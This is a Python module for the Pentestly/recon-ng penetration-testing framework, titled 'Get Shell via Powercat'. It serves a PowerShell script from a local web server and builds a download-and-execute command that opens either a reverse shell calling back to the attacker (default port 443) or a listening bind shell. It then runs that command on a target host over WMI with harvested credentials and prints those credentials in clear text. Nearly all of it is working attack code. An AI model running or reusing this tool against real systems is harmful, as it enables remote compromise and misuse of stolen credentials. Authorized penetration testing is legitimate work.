from __future__ import print_function
from recon.core.module import BaseModule

import os
import subprocess

from libs.pentestlymodule import PentestlyModule
from libs.misc import parse_mimikatz

class Module(PentestlyModule):

    meta = {
        'name': 'Get Shell via Powercat',
        'author': 'Cory Duplantis (@ctfhacker)',
        'description': 'Set either RPORT for callback or LPORT for listen. Default to callback on 443',
        'query': 'select username from pentestly_creds',
        'options': (
            ('RHOST', '', True, 'Target to connect to'),
            ('RPORT', '443', False, 'Port to callback to'),
            ('LPORT', '', False, 'Port for target to listen on'),
        ),
    }

    def __init__(self, *args, **kwargs):
        result = BaseModule.__init__(self, *args, **kwargs)
        self.hosting_server = ''
        return result

    def select_local_interface(self):
        '''Display menu of local interfaces for selection'''
        proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE)
        result = proc.stdout.read().splitlines()
        ipv4_addrs = [line for line in result if 'inet ' in line]
        addrs = [addr.split()[1].split('/')[0] for addr in ipv4_addrs]
        choice = 99
        while 0 > choice or choice >= len(addrs):
            print("Select local interface for hosting scripts")
            print()
            for index, addr in enumerate(addrs):
                print("{}. {}".format(index, addr))

            choice = int(raw_input('> '))

        return addrs[choice]

    def module_pre(self):
        self.start_webserver()
        self.test_execute()

    def module_run(self, creds):
        rhost = self.options['rhost']
        rport = self.options['rport']
        lport = self.options['lport']

        if rport and lport:
            self.output("Cannot set both RPORT and LPORT. Only select one")
            return

        share = 'C$'
        url='http://{}/powercat.ps1'.format(self.hosting_server)

        if rport:
            args = 'powercat -c {} -p {} -e cmd'.format(self.hosting_server, rport)
            self.output("Execute the following in another terminal to receive your shell:")
            print("ncat -l {}".format(rport))
            raw_input("Press enter when ready...")
        if lport:
            args = 'powercat -l -p {} -e cmd'.format(lport)
            self.output("Execute the following in another terminal to connect to your shell:")
            print("ncat {} {}".format(rhost, lport))

        # args = 'powercat -l -p 34343 -r tcp:10.12.20.138:9999'
        self.output(url)
        command = self.powershell_download(script_url=url, args=args, post_url=self.hosting_server, get_output=False)

        username, password, domain, host = self.query('SELECT username,password,domain,host from pentestly_creds where execute="True" and host="{}"'.format(rhost))[0]

        # Reduce creds if options are given
        if username == None:
            username = ''
        if password == None:
            password = ''
        self.smb.hosts[host] = {'user':username, 'passwd':password, 'domain':domain, 'port': 445}
        self.output("Execution creds: {}\{}:{}@{}".format(domain, username, password, host))
        self.output("Command: {}".format(command))
        try:
            result = self.wmi_execute(username, password, domain, host, command, get_results=False)
        except Exception as e:
            return

    def module_post(self):
        self.stop_webserver()
